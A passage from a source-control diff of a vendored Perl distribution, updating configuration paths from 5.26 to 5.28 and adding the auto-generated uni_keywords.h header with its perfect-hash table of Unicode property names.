 sig_size='1'
 signal_t=int
-sitearch='/usr/local/lib/perl5/5.26/unknown'
-sitearchexp='/usr/local/lib/perl5/5.26/unknown'
-sitelib='/usr/local/lib/perl5/5.26'
+sitearch='/usr/local/lib/perl5/5.28/unknown'
+sitearchexp='/usr/local/lib/perl5/5.28/unknown'
+sitelib='/usr/local/lib/perl5/5.28'
 sitelib_stem='/usr/local/lib/perl5'
-sitelibexp='/usr/local/lib/perl5/5.26'
+sitelibexp='/usr/local/lib/perl5/5.28'
 sizesize=4
 sizetype='size_t'
 socksizetype='int'
@@ -913,7 +905,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorlib_stem=''

Added: vendor/perl/dist/uni_keywords.h
===================================================================
--- vendor/perl/dist/uni_keywords.h	                        (rev 0)
+++ vendor/perl/dist/uni_keywords.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6762 @@
+/* -*- buffer-read-only: t -*-
+ * !!!!!!!   DO NOT EDIT THIS FILE   !!!!!!!
+ * This file is built by regen/mk_invlists.pl from mph.pl.
+ * Any changes made here will be lost!
+ */
+
+#define MPH_VALt I16
+
+/*
+rows: 6507
+seed: 1348825708
+full length of keys: 91401
+blob length: 8943
+ref length: 52056
+data size: 60999 (%66.74)
+*/
+
+STATIC const unsigned char mph_blob[] =
+    "unifiedcanadianaboriginalsyllabicsextendedcjkcompatibilityideogra"
+    "phssupplementarabicmathematicalalphabeticsymbolscombiningdiacriti"
+    "calmarksforsymbolscombiningdiacriticalmarkssupplementmiscellaneou"
+    "ssymbolsandpictographs_perl_problematic_locale_foldeds_combiningd"
+    "iacriticalmarksextendedmiscellaneousmathematicalsymbolsamiscellan"
+    "eousmathematicalsymbolsbsupplementalmathematicaloperatorssuppleme"
+    "ntalsymbolsandpictographsideographicdescriptioncharactersideograp"
+    "hicsymbolsandpunctuationmathematicalalphanumericsymbolscjkunified"
+    "ideographsextensionacjkunifiedideographsextensionbcjkunifiedideog"
+    "raphsextensionccjkunifiedideographsextensiondcjkunifiedideographs"
+    "extensionecjkunifiedideographsextensionfcuneiformnumbersandpunctu"
+    "ationenclosedalphanumericsupplementenclosedideographicsupplementm"
+    "iscellaneoussymbolsandarrowsphoneticextensionssupplementsupplemen"
+    "taryprivateuseareaasupplementaryprivateuseareabvariationselectors"
+    "supplementalphabeticpresentationformsancientgreekmusicalnotationc"
+    "anonicalcombiningclass=cccenclosedcjklettersandmonthsopticalchara"
+    "cterrecognitionconditionaljapanesestarterhalfwidthandfullwidthfor"
+    "mskatakanaphoneticextensionsprependedconcatenationmarkchangeswhen"
+    "nfkccasefoldeddefaultignorablecodepointsuperscriptsandsubscriptsa"
+    "rabicpresentationformsaarabicpresentationformsbcjksymbolsandpunct"
+    "uationcombiningmarksforsymbolsconsonantsucceedingrephafullcomposi"
+    "tionexclusionhighprivateusesurrogatesindicpositionalcategory=indi"
+    "csyllabiccategory=insupsymbolsandpictographsbidipairedbrackettype"
+    "=cbyzantinemusicalsymbolsconsonantprecedingrephageometricshapesex"
+    "tendedhangulcompatibilityjamolatinextendedadditionalshorthandform"
+    "atcontrolssupplementalpunctuationcjkcompatideographssupcommonindi"
+    "cnumberformsdiacriticalsforsymbolsearlydynasticcuneiformgraphemec"
+    "lusterbreak=smiscellaneoustechnicalspacingmodifierletterstranspor"
+    "tandmapsymbolschangeswhencasefoldedchangeswhencasemappedchangeswh"
+    "enlowercasedchangeswhentitlecasedchangeswhenuppercasedcjkcompatib"
+    "ilityformscjkradicalssupplementcyrillicsupplementaryinscriptional"
+    "parthianlogicalorderexceptionmeeteimayekextensionsnoncharactercod"
+    "epointpopdirectionalisolatesinhalaarchaicnumbersyijinghexagramsym"
+    "bolsanatolianhieroglyphsconnectorpunctuationconsonantplaceholderc"
+    "onsonantwithstackergeneralcategory=lineglagoliticsupplementinscri"
+    "ptionalpahlavilefttorightembeddingpopdirectionalformatrighttoleft"
+    "embeddingtopandbottomandrightverticalorientation=ancientgreeknumb"
+    "ersbrahmijoiningnumberburushaskiyehbarreeconsonantheadlettercount"
+    "ingrodnumeralsegyptianhieroglyphsenclosedalphanumsupfolds_to_mult"
+    "i_charhanguljamoextendedahanguljamoextendedblefttorightoverrideme"
+    "roitichieroglyphsmodifiertonelettersmongoliansupplementrighttolef"
+    "toverridesundanesesupplementsupplementalarrowsasupplementalarrows"
+    "bsupplementalarrowscterminalpunctuationattachedaboverightcherokee"
+    "supplementcombininghalfmarksconsonantsubjoinedcopticepactnumbersd"
+    "ecompositiontype=devanagariextendedethiopicsupplementeuropeanterm"
+    "inatorfirststrongisolategeneralpunctuationgeorgiansupplementidstr"
+    "inaryoperatorinitialpunctuationlatinextadditionallefttorightisola"
+    "teornamentaldingbatsparagraphseparatorrighttoleftisolateruminumer"
+    "alsymbolsscriptextensions=vtaixuanjingsymbolstopandleftandrighttr"
+    "ansformedrotatedtransformeduprighttype=notapplicablealchemicalsym"
+    "bolsattachedbelowleftcanadiansyllabicscaucasianalbanianconsonantp"
+    "refixedcyrillicextendedacyrillicextendedbcyrillicextendedceastasi"
+    "anwidth=haethiopicextendedaeuropeanseparatoridsbinaryoperatorlett"
+    "erlikesymbolsmanichaeandhamedhmanichaeanhundredmanichaeanthamedhp"
+    "atternwhitespaceregionalindicatorsmallformvariantssuttonsignwriti"
+    "ngtype=trailingjamoarabicsupplementbopomofoextendedcantillationma"
+    "rkcloseparenthesisclosepunctuationcypriotsyllabaryfinalpunctuatio"
+    "nhalfandfullformshighpusurrogateslatin1supplementlinearbideograms"
+    "linearbsyllabarymanichaeandalethmanichaeanlamedhmanichaeansamekhm"
+    "anichaeantwentymiscmathsymbolsamiscmathsymbolsbmyanmarextendedamy"
+    "anmarextendedbotherpunctuationsegmentseparatorsentenceterminalsup"
+    "mathoperatorssyllablemodifiersyriacsupplementtangutcomponentstype"
+    "=leadingjamotype=lvtsyllablevowelindependent_perl_charname_arabic"
+    "extendedabamumsupplementboundaryneutralbraillepatternscommonsepar"
+    "atorconsonantkillerconsonantmedialcontingentbreakcontrolpicturesc"
+    "urrencysymbolsdashpunctuationdiacriticalsextdiacriticalssuphangul"
+    "syllablesimperialaramaicjoininggroup=kalowercaselettermanichaeana"
+    "lephmanichaeangimelmanichaeansadhemanichaeanzayinmeroiticcursivem"
+    "iscpictographsmodifyingletternfcquickcheck=nnfdquickcheck=nnfkcqu"
+    "ickcheck=oldnortharabianoldsoutharabianopenpunctuationregistershi"
+    "ftersentencebreak=ctitlecaselettertype=lvsyllableuppercaseletterv"
+    "edicextensionsvisualorderleftzanabazarsquareancientsymbolscarriag"
+    "ereturncjkcompatformscomplexcontextconsonantfinaleuropeannumberge"
+    "minationmarkgraphemeextendgreekandcoptichamzaonhehgoalhighsurroga"
+    "teskanasupplementkangxiradicalslatinextendedblatinextendedclatine"
+    "xtendeddlatinextendedemandatorybreakmanichaeanayinmanichaeanbethm"
+    "anichaeanfivemanichaeanhethmanichaeankaphmanichaeanqophmanichaean"
+    "reshmanichaeantethmanichaeanyodhmodifiersymbolnfkdquickchecknojoi"
+    "ninggroupnonspacingmarkphoneticextsuppostfixnumericpsalterpahlavi"
+    "spaceseparatorsuppunctuationtehmarbutagoaltype=voweljamovisiblest"
+    "ackervoweldependent1000000000000aegeannumbersasciihexdigitblockel"
+    "ementsbottomandleftcaseignorableconsonantdeaddecimalnumberenclosi"
+    "ngmarkgreekextendediotasubscriptipaextensionsjoiningtype=dkanaext"
+    "endedalineseparatorlowsurrogatesmalayalamlllamalayalamnnnamanicha"
+    "eanmemmanichaeannunmanichaeanonemanichaeantawmanichaeantenmanicha"
+    "eanwawmisctechnicalnumericvalue=patternsyntaxprefixnumericquotati"
+    "onmarkverticalformsalphabeticpfarabicletterarabicnumberbidiclass="
+    "bobidimirroredbreaksymbolscyrillicextacyrillicextbcyrillicextceth"
+    "iopicextaextendnumletfinalsemkathglueafterzwjgraphemebasehebrewle"
+    "tterinfixnumerickhmersymbolsletternumbermahjongtilesmalayalambham"
+    "alayalamllamalayalamngamalayalamnnamalayalamnyamalayalamssamalaya"
+    "lamttamanichaeanpemasaramgondimathalphanummendekikakuinoncanonica"
+    "lnotreorderednumberjoineroldhungarianotherneutralphaistosdiscplay"
+    "ingcardsrightjoiningafricannoonbidicontrolbreakbeforecasedletterc"
+    "ategory=cadominotilesdoubleabovedoublebelowdoublequotedualjoining"
+    "exclamationinseparableinseperablejoincausingjoincontrolkanavoicin"
+    "gkatakanaextleftjoininglinebreak=mmalayalamjamalayalamramiscsymbo"
+    "lsmyanmarextamyanmarextbnumerictypeotherletterothernumberothersym"
+    "bolpahawhhmongrohingyayehsinglequotesorasompengstraightwawsuperan"
+    "dsubsylotinagritopandrighttransparentwordbreak=nxidcontinueyehwit"
+    "htailyisyllablesafricanfehafricanqafarabicextabasiclatinbelowrigh"
+    "tboxdrawingbreakaftercjkstrokescompatjamodalathrishdeprecatedkhar"
+    "oshthiknottedhehmiscarrowsnonjoiningnonstarteroldpersianoverstruc"
+    "kphoenicianpresentin=purekillerreversedpesaurashtrasmallformssoft"
+    "dottedsuparrowsasuparrowsbsuparrowscunassignedwarangcitiwordjoine"
+    "ryiradicalsaboveleftambiguousany_foldsarabicpfaarabicpfbbhaiksuki"
+    "blk=indicbreakbothemoticonsinheritedkhudawadilatinextblatinextcla"
+    "tinextdmidlettermidnumletnabataeannewtailuenonjoinerolditalicoldp"
+    "ermicoldturkicpalmyrenepaucinhauquotemetasamaritanscontinuesyriac"
+    "waw=decimal=numericarmenianavagrahabalinesebassavahblock=blbugine"
+    "seduployanebasegazextenderfarsiyehfractiongujaratigurmukhihiragan"
+    "aisolatedisxposixjamoextajamoextbjavanesekanaextalinefeedmahajani"
+    "nextlinescript=bspecialsswashkaftagbanwatifinaghtonemarkugariticx"
+    "idstartaletteravestanbengalic=maybeccc=ccccjkextacjkextbcjkextccj"
+    "kextdcjkextecjkextfdeseretelbasangranthahanunooinsc=inishorizispo"
+    "sixisspaceisxperlkannadakayahlilinearamandaicmarchenmultaninobloc"
+    "knobreaknondcijolchikioletterosmanyaoverlayphagspasharadashavians"
+    "iddhamsoyombosuppuaasuppuabtagalogtaithamtaiviettibetantirhutatyp"
+    "e=naucasextunknownvisargazwspace200000216000300000400000432000500"
+    "000600000700000800000900000=digit=false_case_carianchakmacircleco"
+    "mpexewlinegothicgrbasehatranhyphenisperlisvertkaithikanbunkhojkil"
+    "amadhlepchalycianlydiannarrowpatsynrejangsc=khateluguthaanavirama"
+    "yudhhe1/16011/12=none=trueadlamalaphatermbatakbeginbindublankbuhi"
+    "dc=yescntrlcwkcfgc=segcb=ggrextinpc=inzanisunikhaphlimbunuktanush"
+    "uoghamoriyaosagepatwsprintqmarkrunicscx=bstermtailetakritamiluide"
+    "ovssupzhain-1/21/101/201/4010.011/213/215/217/23/163/203/805/127/"
+    "12adlmage=aghbahexahomalefarmiarmnataratblavstbatkbc=ebhksbpt=buh"
+    "dc=nocakmcanscprtcwcfcwcmcyrldsrtdt=efontgonmgrekgujrguruhanihano"
+    "hluwhmnginblinshintijg=gjt=lkalikhmrkndakthilanalaoolatnlb=llinal"
+    "inblisumeemmercmiaomlymmroomteimymrnarbnbatnewankoonshuogamolckor"
+    "khoryaosgephlpphnxplrdprtiqaacqaaiqaphrjngrunrsamrsarbsb=csc=lsee"
+    "nsgnwshawshrdsyrctagstalutamltavttfngtglgthaitibtv100vaiiwb=nwide"
+    "xpeoxsuxyiiizainzanbzinhzyyyzzzz1.11/31/51/61/71/81/9103107118122"
+    "1291301321332.02.12/32/52022142182202222242262282302322332342403."
+    "03.13.23/43/54.04.14/55.05.15.25/65/86.06.16.26.37.07/88.09.09/2b"
+    "ehcwlcwtcwuea=ebgfsiinvloelrelrilromimnsmnv=ocrpcmpdfrehsmlsqrtah"
+    "v11v20v21v30v31v32v40v41v50v51v52v60v61v62v63v70v80v90vo=19353638"
+    "39444546474849b2bkh2h3jljvl&vrxxzlzpzs";
+/* mph_blob length: 8943 */
+
+struct mph_struct {
+    U16 seed2;
+    U16 pfx;
+    U16 sfx;
+    U8  pfx_len;
+    U8  sfx_len;
+    MPH_VALt value;
+};
+
+#define MPH_RSHIFT 8
+#define MPH_BUCKETS 6507
+
+STATIC const U32 MPH_SEED1 = 0x5065726c;
+STATIC const U32 MPH_FNV_CONST = 0x01000193;
+
+
+STATIC const struct mph_struct mph_table[MPH_BUCKETS] = {
+  {     0,  2108,  7209,   3,   7, PL_INHIRAGANA }   /* inhiragana */,
+  {     4,  8376,  6576,   3,  10, PL_LB__BA }   /* lb=breakafter */,
+  {     0,  3521,   218,   5,   4, PL_XPOSIXSPACE }   /* spaceperl */,
+  {     0,  1417,   468,   9,  11, PL_P }   /* category=punctuation */,
+  {     3,  7288,  8111,   7,   5, PL_SC__TAKR }   /* script=takri */,
+  {     3,  8096,  8208,   4,   4, PL_AHOM }   /* scx=ahom */,
+  {     2,  8508,  7877,   4,   3, PL_LYCI }   /* sc=lyci */,
+  {     0,  3129,  8400,  17,   4, PL_MIAO }   /* scriptextensions=miao */,
+  {     0,  2221,  4030,   3,  12, PL_GCB__L }   /* hst=leadingjamo */,
+  {     0,  6647,  3273,   4,  15, PL_UCAS }   /* iscanadiansyllabics */,
+  {     0,  8204,  3223,   4,   3, -PL_POSIXXDIGIT }   /* ahex=no */,
+  {     0,  7459,  8536,   3,   4, PL_TALU }   /* sc=talu */,
+  {     0,  8572,  4653,   3,   2, PL_WB__SQ }   /* wb=sq */,
+  {     4,  6890,  2731,   4,  19, PL_SUPARROWSC }   /* blk=supplementalarrowsc */,
+  {     0,  7459,  7900,   3,   6, PL_RJNG }   /* sc=rejang */,
+  {     0,  6210,   511,   3,  19, PL_CJK }   /* incjkunifiedideographs */,
+  {     1,  4239,  3581,   4,   2, PL_DASH }   /* dash=t */,
+  {     1,  8096,  8464,   4,   4, PL_PHNX }   /* scx=phnx */,
+  {     2,  1417,  3914,   9,  16, PL_PO }   /* category=otherpunctuation */,
+  {     2,  8783,  7997,   3,   4, PL_CWU }   /* cwu=yes */,
+  {     0,  7478,  3995,   3,   5, PL_SYRC }   /* issyriac */,
+  {     3,  2100,  5871,   3,   3, PL_OGAM }   /* isogam */,
+  {     0,  4314,  6516,  13,  10, PL_JG__AFRICANFEH }   /* joininggroup=africanfeh */,
+  {     1,  4440,  2251,   4,  11, PL_GLAGOLITICSUP }   /* inglagoliticsup */,
+  {     6,  2002,     0,  21,   0, PL_PRTI }   /* inscriptionalparthian */,
+  {     0,   184,  7799,   3,   5, PL_COMPEX }   /* iscompex */,
+  {     0,  7459,  7520,   3,   4, PL_MARC }   /* sc=marc */,
+  {     0,  3129,  2149,  17,  20, PL_HLUW }   /* scriptextensions=anatolianhieroglyphs */,
+  {     0,  7459,  7555,   3,   7, PL_OLCK }   /* sc=olchiki */,
+  {     0,  6890,  3111,   4,  18, PL_RUMI }   /* blk=ruminumeralsymbols */,
+  {     0,  8376,  4524,   3,  15, PL_LB__OP }   /* lb=openpunctuation */,
+  {     1,  7136,  1543,   6,  18, PL_GEOMETRICSHAPESEXT }   /* block=geometricshapesext */,
+  {     0,  3129,  3994,  17,   6, PL_SYRC }   /* scriptextensions=syriac */,
+  {     1,  6263,  7280,  10,   8, PL_LB__NL }   /* linebreak=nextline */,
+  {     0,  6890,    78,   4,  10, PL_ARABICMATH }   /* blk=arabicmath */,
+  {    22,  7380,  5595,   4,   2, PL_CCC__8 }   /* ccc=kv */,
+  {     3,  8096,  8420,   4,   4, PL_NARB }   /* scx=narb */,
+  {     0,  5134,  6030,   3,  11, PL_PHAISTOS }   /* isphaistosdisc */,
+  {     1,   184,  1681,   3,  21, PL_INDICNUMBERFORMS }   /* iscommonindicnumberforms */,
+  {     1,  8121,  7997,   5,   4, PL_UIDEO }   /* uideo=yes */,
+  {     1,  2108,  4286,   4,  13, PL_INHANGUL }   /* inhangulsyllables */,
+  {     2,  8240,  3093,   3,  18, PL_BC__RLI }   /* bc=righttoleftisolate */,
+  {     1,  3129,  8404,  17,   4, PL_MLYM }   /* scriptextensions=mlym */,
+  {     1,   184,  8420,   2,   4, PL_NARB }   /* isnarb */,
+  {     1,  4402,   780,   3,  28, PL_MISCARROWS }   /* inmiscellaneoussymbolsandarrows */,
+  {     1,  6263,   722,  10,   2, PL_LB__CL }   /* linebreak=cl */,
+  {     1,  3111,     0,   4,   0, PL_RUMI }   /* rumi */,
+  {     1,  6263,  4452,  10,   2, PL_LB__QU }   /* linebreak=qu */,
+  {     1,   415,  7951,  11,   5, PL_IDEO }   /* ideographic=true */,
+  {     1,  7459,  6406,   3,  11, PL_SORA }   /* sc=sorasompeng */,
+  {     2,    21,  2128,   2,   6, PL_YIJING }   /* inyijing */,
+  {     1,  7689,  8201,   3,   3, PL_AGHB }   /* isaghb */,
+  {     4,  3129,  7144,  17,   8, PL_BUGI }   /* scriptextensions=buginese */,
+  {     0,  4239,  7768,   4,   2, -PL_DASH }   /* dash=f */,
+  {    18,  7136,  5093,   6,  14, PL_PHONETICEXTSUP }   /* block=phoneticextsup */,
+  {     2,  5336,     0,  13,   0, PL_GREEKEXT }   /* greekextended */,
+  {     2,  8276,  7997,   4,   4, PL_CWCM }   /* cwcm=yes */,
+  {     0,  7136,  2617,   6,  19, PL_MODIFIERTONELETTERS }   /* block=modifiertoneletters */,
+  {     1,  6756,  7768,  10,   6, -PL_SD }   /* softdotted=false */,
+  {     1,  8798,  7951,   3,   5, PL_LOE }   /* loe=true */,
+  {    10,  8092,  1201,   4,   3, PL_ANY }   /* unicode */,
+  {     0,  7457,  7328,   5,   8, PL_INSC__TONEMARK }   /* insc=tonemark */,
+  {     1,  8096,  2674,   4,   4, PL_SUND }   /* scx=sund */,
+  {     0,  4314,    65,  15,   2, PL_JG__KAPH }   /* joininggroup=kaph */,
+  {    11,  7569,     0,   7,   0, PL_OSMA }   /* osmanya */,
+  {     4,  3509,  7768,  17,   2, -PL_PATWS }   /* patternwhitespace=f */,
+  {     0,  8816,  8171,   3,   2, PL_NV__23 }   /* nv=23 */,
+  {     1,  5544,  7710,  13,   3, PL_NV__600 }   /* numericvalue=600 */,
+  {     0,  7136,  1797,   6,  15, PL_MODIFIERLETTERS }   /* block=modifierletters */,
+  {     1,   447,     0,  18,   0, PL_IDEOGRAPHICSYMBOLS }   /* ideographicsymbols */,
+  {     0,  8376,  1055,   3,  26, PL_LB__CJ }   /* lb=conditionaljapanesestarter */,
+  {     0,  7478,   350,   3,  32, PL_SUPMATHOPERATORS }   /* issupplementalmathematicaloperators */,
+  {     0,  3129,  8480,  17,   4, PL_QAAI }   /* scriptextensions=qaai */,
+  {     0,  2408,     0,   6,   0, PL_BRAH }   /* brahmi */,
+  {     3,  3075,     0,  18,   0, PL_ZP }   /* paragraphseparator */,
+  {     0,  4314,  5746,  13,   7, PL_JG__SEMKATH }   /* joininggroup=semkath */,
+  {     4,  7459,  7583,   3,   7, PL_SC__PHAG }   /* sc=phagspa */,
+  {     2,  2108,  2562,   4,  17, PL_JAMOEXTB }   /* inhanguljamoextendedb */,
+  {     0,  5968,   125,   3,   2, PL_OCR }   /* inocr */,
+  {     0,  6713,  8888,   3,   3, PL_IN__8 }   /* in=v80 */,
+  {     0,  3129,  8492,  17,   4, PL_RUNR }   /* scriptextensions=runr */,
+  {     2,  5765,  7951,  12,   5, PL_GRBASE }   /* graphemebase=true */,
+  {     0,  3129,  2408,  17,   6, PL_BRAH }   /* scriptextensions=brahmi */,
+  {     2,  7136,  1981,   6,  11, PL_CYRILLICSUP }   /* block=cyrillicsup */,
+  {     3,  6756,  7997,  10,   4, PL_SD }   /* softdotted=yes */,
+  {    33,  2134,  7951,   3,   5, PL_XPOSIXXDIGIT }   /* hex=true */,
+  {     1,  5544,  8646,  13,   2, PL_NV__29 }   /* numericvalue=29 */,
+  {     0,  2859,  2991,  18,   3, PL_DT__NAR }   /* decompositiontype=nar */,
+  {     1,   974,  8675,  24,   3, PL_CCC__BL }   /* canonicalcombiningclass=218 */,
+  {     3,  6472,  1621,  10,   6, PL_WB__FO }   /* wordbreak=format */,
+  {     9,    18,  3223,   2,   3, -PL_RI }   /* ri=no */,
+  {     1,  6890,   660,   4,  30, PL_CJKEXTF }   /* blk=cjkunifiedideographsextensionf */,
+  {     0,    96,  7997,   5,   2, PL_XPOSIXALPHA }   /* alpha=y */,
+  {     3,   184,  1107,   2,   8, PL_KANA }   /* iskatakana */,
+  {     6,  3129,  7312,  17,   8, PL_TAGB }   /* scriptextensions=tagbanwa */,
+  {    32,  6890,  3610,   4,   8, PL_INBOPOMOFO }   /* blk=bopomofo */,
+  {     1,  5557,  3581,  13,   2, PL_PATSYN }   /* patternsyntax=t */,
+  {     0,   184,  3866,   2,  16, PL_MISCMATHSYMBOLSB }   /* ismiscmathsymbolsb */,
+  {     1,  7136,  6041,   6,  12, PL_PLAYINGCARDS }   /* block=playingcards */,
+  {     1,  7288,  7007,   7,   9, PL_ITAL }   /* script=olditalic */,
+  {    12,  7810,     0,   6,   0, PL_GOTH }   /* gothic */,
+  {     3,  3129,  7443,  17,   4, PL_GRAN }   /* scriptextensions=gran */,
+  {     1,  8016,    36,   4,   1, PL_GCB__T }   /* gcb=t */,
+  {     0,  1887,  3223,   5,   2, -PL_XPOSIXLOWER }   /* lower=n */,
+  {     1,  8096,   994,   5,   3, PL_BASS }   /* scx=bass */,
+  {     2,  7136,  3722,   6,  16, PL_HIGHPUSURROGATES }   /* block=highpusurrogates */,
+  {     1,  6706,  8867,  10,   3, PL_IN__5_DOT_1 }   /* presentin=v51 */,
+  {     2,  6221,  2467,   4,   9, PL_COUNTINGROD }   /* incountingrod */,
+  {     0,  5232,     0,  13,   0, PL_AEGEANNUMBERS }   /* aegeannumbers */,
+  {     1,  4314,  7930,  13,   4, PL_JG__YUDH }   /* joininggroup=yudh */,
+  {     1,  8816,  8618,   3,   3, PL_NV__1_SLASH_5 }   /* nv=1/5 */,
+  {     1,  2100,  1029,   3,  26, PL_OCR }   /* isopticalcharacterrecognition */,
+  {     0,  2985,  7768,  18,   6, -PL_IDST }   /* idstrinaryoperator=false */,
+  {     4,  1503,  2504,   3,  18, PL_ENCLOSEDALPHANUMSUP }   /* inenclosedalphanumsup */,
+  {     1,  8096,  2636,   4,   4, PL_MONG }   /* scx=mong */,
+  {     0,  7380,  1483,   4,   2, PL_CCC__DB }   /* ccc=db */,
+  {     0,  6890,  7991,   4,   5, PL_INBUHID }   /* blk=buhid */,
+  {     2,  1746,    24,  21,   1, PL_GCB__L }   /* graphemeclusterbreak=l */,
+  {     1,  8284,     0,   4,   0, PL_DSRT }   /* dsrt */,
+  {     1,  7288,  5121,   7,  14, PL_SC__PHLP }   /* script=psalterpahlavi */,
+  {     3,  8780,     0,   3,   0, PL_CWT }   /* cwt */,
+  {     0,   184,  5323,   2,  13, PL_ME }   /* isenclosingmark */,
+  {     1,  1746,  1133,  21,   7, PL_GCB__PP }   /* graphemeclusterbreak=prepend */,
+  {     4,  6890,  4883,   4,  14, PL_LATINEXTE }   /* blk=latinextendede */,
+  {     0,  1929,     0,   9,   0, PL_XPOSIXUPPER }   /* uppercase */,
+  {     1,  1876,  7768,  21,   6, -PL_CWL }   /* changeswhenlowercased=false */,
+  {     2,  5544,  7732,  13,   2, PL_NV__50 }   /* numericvalue=50 */,
+  {     0,  3610,     0,  16,   0, PL_BOPOMOFOEXT }   /* bopomofoextended */,
+  {     5,  6706,  7720,  10,   1, PL_IN__4 }   /* presentin=4 */,
+  {     3,  3129,  7104,  17,   8, PL_ARMN }   /* scriptextensions=armenian */,
+  {     0,  8332,  7599,   4,   5, PL_SHAW }   /* inshavian */,
+  {     0,  7459,  8452,   3,   4, PL_SC__ORYA }   /* sc=orya */,
+  {     1,  1746,    70,  21,   2, PL_GCB__PP }   /* graphemeclusterbreak=pp */,
+  {     1,  7450,     0,   7,   0, PL_HANO }   /* hanunoo */,
+  {     0,  5375,  6208,  12,  11, PL_JT__C }   /* joiningtype=joincausing */,
+  {     3,    21,  6926,   2,   9, PL_INKHUDAWADI }   /* inkhudawadi */,
+  {     3,  2750,  3223,   4,   3, -PL_TERM }   /* term=no */,
+  {     5,   974,  7727,  24,   2, PL_CCC__32 }   /* canonicalcombiningclass=32 */,
+  {     3,  8816,  8144,   3,   4, PL_NV__1_SLASH_20 }   /* nv=1/20 */,
+  {     1,  6210,  7388,   3,   6, PL_CJKEXTA }   /* incjkexta */,
+  {     0,   568,     0,   2,   0, PL_NB }   /* nb */,
+  {     1,  2229,  1392,  16,   9, PL_CS }   /* generalcategory=surrogate */,
+  {     0,  7408,     0,   7,   0, PL_CJKEXTD }   /* cjkextd */,
+  {     1,  6890,   947,   4,  17, PL_ANCIENTGREEKMUSIC }   /* blk=ancientgreekmusic */,
+  {     0,  1402,  2349,  24,  20, PL_INPC__TOPANDBOTTOMANDRIGHT }   /* indicpositionalcategory=topandbottomandright */,
+  {     0,  1746,  4047,  21,   2, PL_LB__H2 }   /* graphemeclusterbreak=lv */,
+  {     0,  8894,     0,   3,   1, PL_VO__U }   /* vo=u */,
+  {     0,  4554,  1929,  14,   5, PL_SB__UP }   /* sentencebreak=upper */,
+  {     1,   184,  6626,   2,   4, PL_KHAR }   /* iskhar */,
+  {     2,  8344,    36,   3,   1, PL_JT__T }   /* jt=t */,
+  {     1,  8096,  8192,   4,   4, PL_ADLM }   /* scx=adlm */,
+  {     0,  6713,  8879,   3,   3, PL_IN__6_DOT_2 }   /* in=v62 */,
+  {     0,  8352,     0,   4,   0, PL_KHMR }   /* khmr */,
+  {     1,  3129,  2107,  17,   7, PL_SINH }   /* scriptextensions=sinhala */,
+  {     1,  4402,  8401,   3,   3, PL_INMIAO }   /* inmiao */,
+  {     1,  1690,     0,   2,   0, PL_CN }   /* cn */,
+  {     1,  3129,  2269,  17,  20, PL_PHLI }   /* scriptextensions=inscriptionalpahlavi */,
+  {     0,  3129,  7660,  17,   7, PL_TIRH }   /* scriptextensions=tirhuta */,
+  {     3,  3129,  8604,  17,   4, PL_ZYYY }   /* scriptextensions=zyyy */,
+  {     0,  2229,  8937,  16,   2, PL_ZL }   /* generalcategory=zl */,
+  {     1,  2985,  7768,   4,   2, -PL_IDST }   /* idst=f */,
+  {     2,   184,  5427,   2,   9, PL_MLYM }   /* ismalayalam */,
+  {     1,  8376,  8921,   3,   2, PL_LB__BK }   /* lb=bk */,
+  {     0,  6263,  6845,  10,   9, PL_LB__AI }   /* linebreak=ambiguous */,
+  {     2,  3129,  7320,  17,   8, PL_TFNG }   /* scriptextensions=tifinagh */,
+  {     0,  7136,   113,   6,  35, PL_DIACRITICALSFORSYMBOLS }   /* block=combiningdiacriticalmarksforsymbols */,
+  {     1,   864,     0,  28,   0, PL_SUPPUAB }   /* supplementaryprivateuseareab */,
+  {     0,  5957,     0,   4,   0, PL_MEND }   /* mend */,
+  {     2,  7894,     0,   6,   0, PL_PATSYN }   /* patsyn */,
+  {     1,  3129,   494,  17,   3, PL_HAN }   /* scriptextensions=han */,
+  {     3,  1963,  7768,   7,   2, -PL_RADICAL }   /* radical=f */,
+  {     0,  6890,  7876,   4,   6, PL_INLYCIAN }   /* blk=lycian */,
+  {     0,  8572,  6971,   3,   6, PL_WB__MN }   /* wb=midnum */,
+  {     0,   974,  1108,  24,   3, PL_CCC__214 }   /* canonicalcombiningclass=ata */,
+  {     2,  7459,  2044,   3,  11, PL_MTEI }   /* sc=meeteimayek */,
+  {     3,  7288,  2598,   7,   4, PL_MERO }   /* script=mero */,
+  {     1,   184,  7534,   2,   7, PL_NB }   /* isnoblock */,
+  {     0,  6890,  4659,   4,  14, PL_ANCIENTSYMBOLS }   /* blk=ancientsymbols */,
+  {     0,  1887,     0,   9,   0, PL_XPOSIXLOWER }   /* lowercase */,
+  {     4,  4554,   496,  14,   7, PL_LB__NU }   /* sentencebreak=numeric */,
+  {     1,   122,  7997,   9,   2, PL_DIA }   /* diacritic=y */,
+  {     3,  6890,   808,   4,  18, PL_PHONETICEXT }   /* blk=phoneticextensions */,
+  {     1,  3850,     0,  16,   0, PL_MISCMATHSYMBOLSA }   /* miscmathsymbolsa */,
+  {     2,   184,  8384,   2,   4, PL_LINB }   /* islinb */,
+  {     0,   892,  3223,  17,   3, -PL_VS }   /* variationselector=no */,
+  {     0,  5134,     6,   3,   1, PL_PD }   /* ispd */,
+  {     1,   974,  2777,  24,   5, PL_CCC__A }   /* canonicalcombiningclass=above */,
+  {     1,  8011,  1452,   3,   2, PL_PS }   /* gc=ps */,
+  {     0,    21,  4841,   2,  14, PL_LATINEXTB }   /* inlatinextendedb */,
+  {     2,  3237,     0,  17,   0, PL_ALCHEMICAL }   /* alchemicalsymbols */,
+  {     0,  5544,  7732,  13,   6, PL_NV__500000 }   /* numericvalue=500000 */,
+  {     4,  2229,  2088,  16,   2, PL_PD }   /* generalcategory=pd */,
+  {     0,  4479,  7373,   5,   3, PL_NFCQC__M }   /* nfkcqc=m */,
+  {     2,  7136,   959,   6,   5, PL_MUSIC }   /* block=music */,
+  {     1,  7136,  3543,   6,  17, PL_SMALLFORMS }   /* block=smallformvariants */,
+  {     2,  2985,     0,   4,   0, PL_IDST }   /* idst */,
+  {     1,  6881,     0,   9,   0, PL_BHKS }   /* bhaiksuki */,
+  {     0,   217,  6484,   6,   6, PL__PERL_IDCONT }   /* _perl_idcont */,
+  {     4,    58,     0,   4,   0, PL_IDEO }   /* ideo */,
+  {     2,  8340,  3492,   3,  17, PL_JG__MANICHAEANTHAMEDH }   /* jg=manichaeanthamedh */,
+  {     7,  8340,  7930,   3,   4, PL_JG__YUDH }   /* jg=yudh */,
